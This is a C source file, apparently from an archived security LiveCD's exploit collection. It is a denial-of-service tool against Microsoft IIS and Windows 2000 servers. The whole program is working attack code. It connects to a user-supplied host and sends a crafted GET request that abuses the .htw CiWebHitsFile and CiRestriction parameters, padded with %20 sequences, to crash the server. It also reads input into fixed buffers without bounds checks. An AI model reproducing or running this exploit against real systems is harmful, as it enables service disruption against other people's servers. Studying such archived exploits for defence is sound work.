home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / iisdos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  105 lines

  1. /*
  2.  
  3.  Description: DoS against IIS and Win2000.0 Servers by wildcoyote
  4.  Comments   : Based on a perl *script* by EvilEntity@hotmail.com
  5.  Flamez to  : wildcoyote@gk-team.org
  6.  
  7. */
  8.  
  9. #include <netdb.h>
  10. #include <sys/types.h>
  11. #include <sys/socket.h>
  12. #include <netinet/in.h>
  13. #include <unistd.h>
  14. #include <string.h>
  15. #include <stdio.h>
  16. #include <stdlib.h>
  17. #include <unistd.h>
  18. #include <errno.h>
  19.  
  20. int openhost(char *host,int port)
  21. {
  22.   int sock;
  23.   struct sockaddr_in addr;
  24.   struct hostent *he;
  25.  
  26.   he=gethostbyname(host);
  27.  
  28.   if (he==NULL)
  29.     {
  30.       perror("gethostbyname()");
  31.       exit(-1);
  32.     }
  33.  
  34.   sock=socket(AF_INET, SOCK_STREAM, getprotobyname("tcp")->p_proto);
  35.  
  36.   if (sock==-1)
  37.     {
  38.       perror("socket()");
  39.       exit(-1);
  40.     }
  41.  
  42.   memcpy(&addr.sin_addr, he->h_addr, he->h_length);
  43.   addr.sin_family=AF_INET;
  44.   addr.sin_port=htons(port);
  45.  
  46.   if(connect(sock, (struct sockaddr *)&addr, sizeof(addr)) == -1)
  47.     {
  48.       sock=-2;
  49.     }
  50.  
  51.   return sock;
  52. }
  53.  
  54. void sends(int sock,char *buf)
  55. {
  56.   write(sock,buf,strlen(buf));
  57. }
  58.  
  59. void DoS(char *host, int port)
  60. {
  61.   int sock,i,file_buf_size;
  62.   char *buf, file_read[256],valid_file[256];
  63.   printf("\nDoS against IIS and Win2000.0 Servers by wildcoyote\n\n");
  64.   printf("File to read: ");
  65.   scanf("%s",&file_read);
  66.   printf("Enter Valid file: ");
  67.   scanf("%s",&valid_file);
  68.   file_buf_size=strlen(valid_file);
  69.   printf("Trying to connect to %s (%d)....(please wait)\n",host,port);
  70.   sock=openhost(host,port);
  71.   if(sock<=0)
  72.     {
  73.       printf("- Could not connect -\n");
  74.       printf("Exiting...\n\n");
  75.       exit(-1);
  76.     }
  77.   else printf("Connected to %s (%d)\n",host,port);
  78.   printf("Allocating memory for DoS\n");
  79.   buf = (char *) malloc(2500); // bah! =) whatever...
  80.   sprintf(buf,"GET %s",valid_file);
  81.   for(i=0;i<file_buf_size;i++) strcat(buf,"%20");
  82.   strcat(buf,".htw?CiWebHitsFile=");
  83.   strcat(buf,file_read);
  84.   strcat(buf,"&CiRestriction=none&CiHiliteType=Full HTTP/1.0\n\n");
  85.   printf("Oh k! Sending CRASH!\n");
  86.   sends(sock,buf);
  87.   close(sock);
  88.   free(buf);
  89.   printf("Crash sent! The host *probably* crashed :P\n");
  90.   printf("Send flamez to wildcoyote@gk-team.org, *Enjoy*...\n\n");
  91. }
  92.  
  93. main(int argc, char *argv[])
  94. {
  95.   int sock,i;
  96.   if (argc<2)
  97.     {
  98.       printf("\nDoS against IIS and Win2000.0 Servers by wildcoyote\n\n");
  99.       printf("Sintaxe: %s <host> [port - default 80]\n",argv[0]);
  100.       printf("Send flamez to wildcoyote@gk-team.org, *Enjoy*...\n\n");
  101.     }
  102.   else if (argc==2) DoS(argv[1],80);
  103.   else DoS(argv[1],atoi(argv[2]));
  104. }
  105. /*                    www.hack.co.za           [14 June 2000]*/